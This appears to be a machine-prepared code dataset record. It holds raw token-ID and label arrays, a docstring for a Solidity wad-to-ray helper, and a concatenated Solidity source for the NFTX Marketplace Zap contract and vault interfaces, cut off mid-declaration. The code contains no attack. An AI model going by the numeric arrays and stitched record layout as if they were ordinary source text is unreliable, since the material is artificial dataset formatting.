[ 1, 19132, 3155, 23959, 358, 527, 279, 24880, 358, 326, 284, 1074, 11628, 6835, 1807, 2236, 310, 225, 316, 326, 648, 3904, 5079, 392, 3397, 5639, 24880, 16, 364, 3454, 282, 31123, 326, 1758, 434, 326, 31123, 732, 2545, 358, 527, 282, 5462, 326, 5462, 434, 326, 24880, 732, 854, 6534, 282, 3844, 326, 3844, 434, 326, 24880, 732, 854, 6534, 225, 327, 638, 603, 2216, 19, 10734, 326, 31123, 732, 8081, 2537, 26944, 366, 381, 1496, 4859, 1608, 358, 866, 364, 3454, 518, 3377, 506, 716, 943, 1300, 434, 13608, 13595, 711, 2118, 12428, 527, 326, 24880, 358, 326, 1613, 527, 326, 24880, 358, 326, 2389, 471, 1508, 10418, 628, 11445, 2724, 1281, 2870, 3844, 903, 1240, 2118, 3096, 1915, 635, 326, 445, 16, 1496, 326, 2870, 3844, 1297, 5903, 506, 16255, 429, 444, 731, 326, 24880, 732, 1240, 2537, 3096, 1427, 716, 518, 848, 486, 506, 598, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 527, 7210, 5639, 442, 4027, 12, 203, 3639, 1758, 31123, 16, 203, 3639, 1758, 5462, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 203, 3639, 1071, 203, 3639, 1338, 5541, 1435, 203, 3639, 30542, 203, 3639, 1338, 18047, 2408, 14695, 12, 7095, 13, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 2583, 12, 3674, 5639, 442, 15326, 5042, 16, 315, 1248, 2935, 635, 3875, 4442, 1769, 203, 203, 3639, 467, 442, 19293, 26175, 12, 591, 19293, 26175, 2934, 20409, 3032, 12, 591, 19293, 1769, 203, 203, 3639, 467, 442, 19293, 26175, 12, 591, 19293, 26175, 2934, 1893, 26175, 12, 591, 19293, 1769, 203, 203, 3639, 11445, 442, 15326, 63, 591, 19293, 6362, 7095, 65, 273, 11445, 442, 15326, 63, 591, 19293, 6362, 7095, 65, 203, 5411, 263, 1289, 12, 8949, 1769, 203, 203, 3639, 11445, 442, 15326, 63, 591, 19293, 6362, 7095, 65, 273, 11445, 442, 15326, 63, 591, 19293, 6362, 7095, 65, 203, 5411, 263, 1717, 24899, 1289, 442, 4027, 12, 591, 19293, 16, 5462, 16, 3844, 10019, 203, 203, 3639, 13608, 6170, 682, 63, 591, 19293, 6362, 591, 15326, 682, 63, 591, 19293, 8009, 2469, 18, 1717, 12, 21, 25887, 203, 7682, 263, 2327, 273, 6091, 18, 442, 4027, 1482, 18, 7210, 5639, 31, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x43eA73168B8f192dBDEC088DA29F2C5E517f6fcB/sources/contracts-verify/libraries/WadRayMath.sol
* @dev Converts wad up to ray @param a Wad @return b = a converted in ray/ to avoid overflow, b/WAD_RAY_RATIO == a
function wadToRay(uint256 a) internal pure returns (uint256 b) { assembly { b := mul(a, WAD_RAY_RATIO) } }
15,921,164
[ 1, 5692, 341, 361, 731, 358, 14961, 225, 279, 678, 361, 327, 324, 273, 279, 5970, 316, 14961, 19, 358, 4543, 9391, 16, 324, 19, 59, 1880, 67, 6722, 67, 54, 789, 4294, 422, 279, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 341, 361, 774, 54, 528, 12, 11890, 5034, 279, 13, 2713, 16618, 1135, 261, 11890, 5034, 324, 13, 288, 203, 3639, 19931, 288, 203, 5411, 324, 519, 14064, 12, 69, 16, 678, 1880, 67, 6722, 67, 54, 789, 4294, 13, 203, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interface/INFTXVault.sol"; import "./interface/INFTXVaultFactory.sol"; import "./interface/INFTXFeeDistributor.sol"; import "./interface/INFTXLPStaking.sol"; import "./interface/ITimelockRewardDistributionToken.sol"; import "./interface/IUniswapV2Router01.sol"; import "./testing/IERC721.sol"; import "./token/IERC1155Upgradeable.sol"; import "./token/IERC20Upgradeable.sol"; import "./token/ERC721HolderUpgradeable.sol"; import "./token/ERC1155HolderUpgradeable.sol"; import "./util/OwnableUpgradeable.sol"; // Authors: @0xKiwi_. interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; function balanceOf(address to) external view returns (uint256); } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract NFTXMarketplaceZap is Ownable, ReentrancyGuard, ERC721HolderUpgradeable, ERC1155HolderUpgradeable { IWETH public immutable WETH; INFTXLPStaking public immutable lpStaking; INFTXVaultFactory public immutable nftxFactory; IUniswapV2Router01 public immutable sushiRouter; uint256 constant BASE = 10**18; event Buy(uint256 count, uint256 ethSpent, address to); event Sell(uint256 count, uint256 ethReceived, address to); event Swap(uint256 count, uint256 ethSpent, address to); constructor(address _nftxFactory, address _sushiRouter) Ownable() ReentrancyGuard() { nftxFactory = INFTXVaultFactory(_nftxFactory); lpStaking = INFTXLPStaking(INFTXFeeDistributor(INFTXVaultFactory(_nftxFactory).feeDistributor()).lpStaking()); sushiRouter = IUniswapV2Router01(_sushiRouter); WETH = IWETH(IUniswapV2Router01(_sushiRouter).WETH()); IERC20Upgradeable(address(IUniswapV2Router01(_sushiRouter).WETH())).approve(_sushiRouter, type(uint256).max); } function mintAndSell721( uint256 vaultId, uint256[] memory ids, uint256 minWethOut, address[] calldata path, address to ) public nonReentrant { require(to != address(0)); require(ids.length != 0); (address vault, uint256 vaultBalance) = _mint721(vaultId, ids); uint256[] memory amounts = _sellVaultTokenETH(vault, minWethOut, vaultBalance, path, to); emit Sell(ids.length, amounts[1], to); } function mintAndSell721WETH( uint256 vaultId, uint256[] memory ids, uint256 minWethOut, address[] calldata path, address to ) public nonReentrant { require(to != address(0)); require(ids.length != 0); (address vault, uint256 vaultBalance) = _mint721(vaultId, ids); uint256[] memory amounts = _sellVaultTokenWETH(vault, minWethOut, vaultBalance, path, to); emit Sell(ids.length, amounts[1], to); } function buyAndSwap721( uint256 vaultId, uint256[] memory idsIn, uint256[] memory specificIds, address[] calldata path, address to ) public payable nonReentrant { require(to != address(0)); require(idsIn.length != 0); WETH.deposit{value: msg.value}(); INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 redeemFees = (vault.targetSwapFee() * specificIds.length) + ( vault.randomSwapFee() * (idsIn.length - specificIds.length) ); uint256[] memory amounts = _buyVaultToken(address(vault), redeemFees, msg.value, path); _swap721(vaultId, idsIn, specificIds, to); emit Swap(idsIn.length, amounts[0], to); // Return extras. uint256 remaining = WETH.balanceOf(address(this)); WETH.withdraw(remaining); (bool success, ) = payable(to).call{value: remaining}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function buyAndSwap721WETH( uint256 vaultId, uint256[] memory idsIn, uint256[] memory specificIds, uint256 maxWethIn, address[] calldata path, address to ) public nonReentrant { require(to != address(0)); require(idsIn.length != 0); IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), maxWethIn); INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 redeemFees = (vault.targetSwapFee() * specificIds.length) + ( vault.randomSwapFee() * (idsIn.length - specificIds.length) ); uint256[] memory amounts = _buyVaultToken(address(vault), redeemFees, maxWethIn, path); _swap721(vaultId, idsIn, specificIds, to); emit Swap(idsIn.length, amounts[0], to); // Return extras. uint256 remaining = WETH.balanceOf(address(this)); WETH.transfer(to, remaining); } function buyAndSwap1155( uint256 vaultId, uint256[] memory idsIn, uint256[] memory amounts, uint256[] memory specificIds, address[] calldata path, address to ) public payable nonReentrant { require(to != address(0)); require(idsIn.length != 0); WETH.deposit{value: msg.value}(); uint256 count; for (uint256 i = 0; i < idsIn.length; i++) { uint256 amount = amounts[i]; require(amount > 0, "Transferring < 1"); count += amount; } INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 redeemFees = (vault.targetSwapFee() * specificIds.length) + ( vault.randomSwapFee() * (count - specificIds.length) ); uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, msg.value, path); _swap1155(vaultId, idsIn, amounts, specificIds, to); emit Swap(count, swapAmounts[0], to); // Return extras. uint256 remaining = WETH.balanceOf(address(this)); WETH.withdraw(remaining); (bool success, ) = payable(to).call{value: remaining}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function buyAndSwap1155WETH( uint256 vaultId, uint256[] memory idsIn, uint256[] memory amounts, uint256[] memory specificIds, uint256 maxWethIn, address[] calldata path, address to ) public payable nonReentrant { require(to != address(0)); require(idsIn.length != 0); IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), maxWethIn); uint256 count; for (uint256 i = 0; i < idsIn.length; i++) { uint256 amount = amounts[i]; require(amount > 0, "Transferring < 1"); count += amount; } INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 redeemFees = (vault.targetSwapFee() * specificIds.length) + ( vault.randomSwapFee() * (count - specificIds.length) ); uint256[] memory swapAmounts = _buyVaultToken(address(vault), redeemFees, msg.value, path); _swap1155(vaultId, idsIn, amounts, specificIds, to); emit Swap(count, swapAmounts[0], to); // Return extras. uint256 remaining = WETH.balanceOf(address(this)); WETH.transfer(to, remaining); } function buyAndRedeem( uint256 vaultId, uint256 amount, uint256[] memory specificIds, address[] calldata path, address to ) public payable nonReentrant { require(to != address(0)); require(amount != 0); WETH.deposit{value: msg.value}(); INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 totalFee = (vault.targetRedeemFee() * specificIds.length) + ( vault.randomRedeemFee() * (amount - specificIds.length) ); uint256[] memory amounts = _buyVaultToken(address(vault), (amount*BASE)+totalFee, msg.value, path); _redeem(vaultId, amount, specificIds, to); emit Buy(amount, amounts[0], to); uint256 remaining = WETH.balanceOf(address(this)); WETH.withdraw(remaining); (bool success, ) = payable(to).call{value: remaining}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function buyAndRedeemWETH( uint256 vaultId, uint256 amount, uint256[] memory specificIds, uint256 maxWethIn, address[] calldata path, address to ) public nonReentrant { require(to != address(0)); require(amount != 0); IERC20Upgradeable(address(WETH)).transferFrom(msg.sender, address(this), maxWethIn); INFTXVault vault = INFTXVault(nftxFactory.vault(vaultId)); uint256 totalFee = (vault.targetRedeemFee() * specificIds.length) + ( vault.randomRedeemFee() * (amount - specificIds.length) ); uint256[] memory amounts = _buyVaultToken(address(vault), (amount*BASE) + totalFee, maxWethIn, path); _redeem(vaultId, amount, specificIds, to); emit Buy(amount, amounts[0], to); uint256 remaining = WETH.balanceOf(address(this)); WETH.transfer(to, remaining); } function mintAndSell1155( uint256 vaultId, uint256[] memory ids, uint256[] memory amounts, uint256 minWethOut, address[] calldata path, address to ) public nonReentrant { require(to != address(0)); require(ids.length != 0); (address vault, uint256 vaultTokenBalance) = _mint1155(vaultId, ids, amounts); uint256[] memory amounts = _sellVaultTokenETH(vault, minWethOut, vaultTokenBalance, path, to); uint256 count; for (uint256 i = 0; i < ids.length; i++) { count += amounts[i]; } emit Sell(count, amounts[1], to); } function mintAndSell1155WETH( uint256 vaultId, uint256[] memory ids, uint256[] memory amounts, uint256 minWethOut, address[] calldata path, address to ) public nonReentrant { require(to != address(0)); require(ids.length != 0); (address vault, uint256 vaultTokenBalance) = _mint1155(vaultId, ids, amounts); _sellVaultTokenWETH(vault, minWethOut, vaultTokenBalance, path, to); uint256 count; for (uint256 i = 0; i < ids.length; i++) { count += amounts[i]; } emit Sell(count, amounts[1], to); } function _mint721( uint256 vaultId, uint256[] memory ids ) internal returns (address, uint256) { address vault = nftxFactory.vault(vaultId); require(vault != address(0), "NFTXZap: Vault does not exist"); // Transfer tokens to zap and mint to NFTX. address assetAddress = INFTXVault(vault).assetAddress(); for (uint256 i = 0; i < ids.length; i++) { transferFromERC721(assetAddress, ids[i], vault); approveERC721(assetAddress, vault, ids[i]); } uint256[] memory emptyIds; uint256 count = INFTXVault(vault).mint(ids, emptyIds); uint256 balance = (count * BASE) - (count * INFTXVault(vault).mintFee()); require(balance == IERC20Upgradeable(vault).balanceOf(address(this)), "Did not receive expected balance"); return (vault, balance); } function _swap721( uint256 vaultId, uint256[] memory idsIn, uint256[] memory idsOut, address to ) internal returns (address) { address vault = nftxFactory.vault(vaultId); require(vault != address(0), "NFTXZap: Vault does not exist"); // Transfer tokens to zap and mint to NFTX. address assetAddress = INFTXVault(vault).assetAddress(); for (uint256 i = 0; i < idsIn.length; i++) { transferFromERC721(assetAddress, idsIn[i], vault); approveERC721(assetAddress, vault, idsIn[i]); } uint256[] memory emptyIds; INFTXVault(vault).swapTo(idsIn, emptyIds, idsOut, to); return (vault); } function _swap1155( uint256 vaultId, uint256[] memory idsIn, uint256[] memory amounts, uint256[] memory idsOut, address to ) internal returns (address) { address vault = nftxFactory.vault(vaultId); require(vault != address(0), "NFTXZap: Vault does not exist"); // Transfer tokens to zap and mint to NFTX. address assetAddress = INFTXVault(vault).assetAddress(); IERC1155Upgradeable(assetAddress).safeBatchTransferFrom(msg.sender, address(this), idsIn, amounts, ""); IERC1155Upgradeable(assetAddress).setApprovalForAll(vault, true); INFTXVault(vault).swapTo(idsIn, amounts, idsOut, to); return (vault); } function _redeem( uint256 vaultId, uint256 amount, uint256[] memory specificIds, address to ) internal { address vault = nftxFactory.vault(vaultId); require(vault != address(0), "NFTXZap: Vault does not exist"); INFTXVault(vault).redeemTo(amount, specificIds, to); } function _mint1155( uint256 vaultId, uint256[] memory ids, uint256[] memory amounts ) internal returns (address, uint256) { address vault = nftxFactory.vault(vaultId); require(vault != address(0), "NFTXZap: Vault does not exist"); // Transfer tokens to zap and mint to NFTX. address assetAddress = INFTXVault(vault).assetAddress(); IERC1155Upgradeable(assetAddress).safeBatchTransferFrom(msg.sender, address(this), ids, amounts, ""); IERC1155Upgradeable(assetAddress).setApprovalForAll(vault, true); uint256 count = INFTXVault(vault).mint(ids, amounts); uint256 balance = (count * BASE) - INFTXVault(vault).mintFee()*count; require(balance == IERC20Upgradeable(vault).balanceOf(address(this)), "Did not receive expected balance"); return (vault, balance); } function _buyVaultToken( address vault, uint256 minTokenOut, uint256 maxWethIn, address[] calldata path ) internal returns (uint256[] memory) { uint256[] memory amounts = sushiRouter.swapTokensForExactTokens( minTokenOut, maxWethIn, path, address(this), block.timestamp ); return amounts; } function _sellVaultTokenWETH( address vault, uint256 minWethOut, uint256 maxTokenIn, address[] calldata path, address to ) internal returns (uint256[] memory) { IERC20Upgradeable(vault).approve(address(sushiRouter), maxTokenIn); uint256[] memory amounts = sushiRouter.swapExactTokensForTokens( maxTokenIn, minWethOut, path, to, block.timestamp ); return amounts; } function _sellVaultTokenETH( address vault, uint256 minWethOut, uint256 maxTokenIn, address[] calldata path, address to ) internal returns (uint256[] memory) { IERC20Upgradeable(vault).approve(address(sushiRouter), maxTokenIn); uint256[] memory amounts = sushiRouter.swapExactTokensForETH( maxTokenIn, minWethOut, path, to, block.timestamp ); return amounts; } function transferFromERC721(address assetAddr, uint256 tokenId, address to) internal virtual { address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB; bytes memory data; if (assetAddr == kitties) { // Cryptokitties. data = abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), tokenId); } else if (assetAddr == punks) { // CryptoPunks. // Fix here for frontrun attack. Added in v1.0.2. bytes memory punkIndexToAddress = abi.encodeWithSignature("punkIndexToAddress(uint256)", tokenId); (bool checkSuccess, bytes memory result) = address(assetAddr).staticcall(punkIndexToAddress); (address owner) = abi.decode(result, (address)); require(checkSuccess && owner == msg.sender, "Not the owner"); data = abi.encodeWithSignature("buyPunk(uint256)", tokenId); } else { // Default. // We push to the vault to avoid an unneeded transfer. data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", msg.sender, to, tokenId); } (bool success, bytes memory resultData) = address(assetAddr).call(data); require(success, string(resultData)); } function approveERC721(address assetAddr, address to, uint256 tokenId) internal virtual { address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB; bytes memory data; if (assetAddr == kitties) { // Cryptokitties. data = abi.encodeWithSignature("approve(address,uint256)", to, tokenId); } else if (assetAddr == punks) { // CryptoPunks. data = abi.encodeWithSignature("offerPunkForSaleToAddress(uint256,uint256,address)", tokenId, 0, to); } else { // No longer needed to approve with pushing. return; } (bool success, bytes memory resultData) = address(assetAddr).call(data); require(success, string(resultData)); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address tokenA, address tokenB) internal view returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', sushiRouter.factory(), keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash ))))); } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } receive() external payable { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../interface/INFTXEligibility.sol"; import "../token/IERC20Upgradeable.sol"; import "../interface/INFTXVaultFactory.sol"; interface INFTXVault is IERC20Upgradeable { function manager() external view returns (address); function assetAddress() external view returns (address); function vaultFactory() external view returns (INFTXVaultFactory); function eligibilityStorage() external view returns (INFTXEligibility); function is1155() external view returns (bool); function allowAllItems() external view returns (bool); function enableMint() external view returns (bool); function enableRandomRedeem() external view returns (bool); function enableTargetRedeem() external view returns (bool); function enableRandomSwap() external view returns (bool); function enableTargetSwap() external view returns (bool); function vaultId() external view returns (uint256); function nftIdAt(uint256 holdingsIndex) external view returns (uint256); function allHoldings() external view returns (uint256[] memory); function totalHoldings() external view returns (uint256); function mintFee() external view returns (uint256); function randomRedeemFee() external view returns (uint256); function targetRedeemFee() external view returns (uint256); function randomSwapFee() external view returns (uint256); function targetSwapFee() external view returns (uint256); function vaultFees() external view returns (uint256, uint256, uint256, uint256, uint256); event VaultInit( uint256 indexed vaultId, address assetAddress, bool is1155, bool allowAllItems ); event ManagerSet(address manager); event EligibilityDeployed(uint256 moduleIndex, address eligibilityAddr); // event CustomEligibilityDeployed(address eligibilityAddr); event EnableMintUpdated(bool enabled); event EnableRandomRedeemUpdated(bool enabled); event EnableTargetRedeemUpdated(bool enabled); event EnableRandomSwapUpdated(bool enabled); event EnableTargetSwapUpdated(bool enabled); event Minted(uint256[] nftIds, uint256[] amounts, address to); event Redeemed(uint256[] nftIds, uint256[] specificIds, address to); event Swapped( uint256[] nftIds, uint256[] amounts, uint256[] specificIds, uint256[] redeemedIds, address to ); function __NFTXVault_init( string calldata _name, string calldata _symbol, address _assetAddress, bool _is1155, bool _allowAllItems ) external; function finalizeVault() external; function setVaultMetadata( string memory name_, string memory symbol_ ) external; function setVaultFeatures( bool _enableMint, bool _enableRandomRedeem, bool _enableTargetRedeem, bool _enableRandomSwap, bool _enableTargetSwap ) external; function setFees( uint256 _mintFee, uint256 _randomRedeemFee, uint256 _targetRedeemFee, uint256 _randomSwapFee, uint256 _targetSwapFee ) external; function disableVaultFees() external; // This function allows for an easy setup of any eligibility module contract from the EligibilityManager. // It takes in ABI encoded parameters for the desired module. This is to make sure they can all follow // a similar interface. function deployEligibilityStorage( uint256 moduleIndex, bytes calldata initData ) external returns (address); // The manager has control over options like fees and features function setManager(address _manager) external; function mint( uint256[] calldata tokenIds, uint256[] calldata amounts /* ignored for ERC721 vaults */ ) external returns (uint256); function mintTo( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ address to ) external returns (uint256); function redeem(uint256 amount, uint256[] calldata specificIds) external returns (uint256[] calldata); function redeemTo( uint256 amount, uint256[] calldata specificIds, address to ) external returns (uint256[] calldata); function swap( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds ) external returns (uint256[] calldata); function swapTo( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds, address to ) external returns (uint256[] calldata); function allValidNFTs(uint256[] calldata tokenIds) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/IBeacon.sol"; interface INFTXVaultFactory is IBeacon { // Read functions. function numVaults() external view returns (uint256); function zapContract() external view returns (address); function feeDistributor() external view returns (address); function eligibilityManager() external view returns (address); function vault(uint256 vaultId) external view returns (address); function allVaults() external view returns (address[] memory); function vaultsForAsset(address asset) external view returns (address[] memory); function isLocked(uint256 id) external view returns (bool); function excludedFromFees(address addr) external view returns (bool); function factoryMintFee() external view returns (uint64); function factoryRandomRedeemFee() external view returns (uint64); function factoryTargetRedeemFee() external view returns (uint64); function factoryRandomSwapFee() external view returns (uint64); function factoryTargetSwapFee() external view returns (uint64); function vaultFees(uint256 vaultId) external view returns (uint256, uint256, uint256, uint256, uint256); event NewFeeDistributor(address oldDistributor, address newDistributor); event NewZapContract(address oldZap, address newZap); event FeeExclusion(address feeExcluded, bool excluded); event NewEligibilityManager(address oldEligManager, address newEligManager); event NewVault(uint256 indexed vaultId, address vaultAddress, address assetAddress); event UpdateVaultFees(uint256 vaultId, uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee); event DisableVaultFees(uint256 vaultId); event UpdateFactoryFees(uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee); // Write functions. function __NFTXVaultFactory_init(address _vaultImpl, address _feeDistributor) external; function createVault( string calldata name, string calldata symbol, address _assetAddress, bool is1155, bool allowAllItems ) external returns (uint256); function setFeeDistributor(address _feeDistributor) external; function setEligibilityManager(address _eligibilityManager) external; function setZapContract(address _zapContract) external; function setFeeExclusion(address _excludedAddr, bool excluded) external; function setFactoryFees( uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee ) external; function setVaultFees( uint256 vaultId, uint256 mintFee, uint256 randomRedeemFee, uint256 targetRedeemFee, uint256 randomSwapFee, uint256 targetSwapFee ) external; function disableVaultFees(uint256 vaultId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface INFTXFeeDistributor { struct FeeReceiver { uint256 allocPoint; address receiver; bool isContract; } function nftxVaultFactory() external returns (address); function lpStaking() external returns (address); function treasury() external returns (address); function defaultTreasuryAlloc() external returns (uint256); function defaultLPAlloc() external returns (uint256); function allocTotal(uint256 vaultId) external returns (uint256); function specificTreasuryAlloc(uint256 vaultId) external returns (uint256); // Write functions. function __FeeDistributor__init__(address _lpStaking, address _treasury) external; function rescueTokens(address token) external; function distribute(uint256 vaultId) external; function addReceiver(uint256 _vaultId, uint256 _allocPoint, address _receiver, bool _isContract) external; function 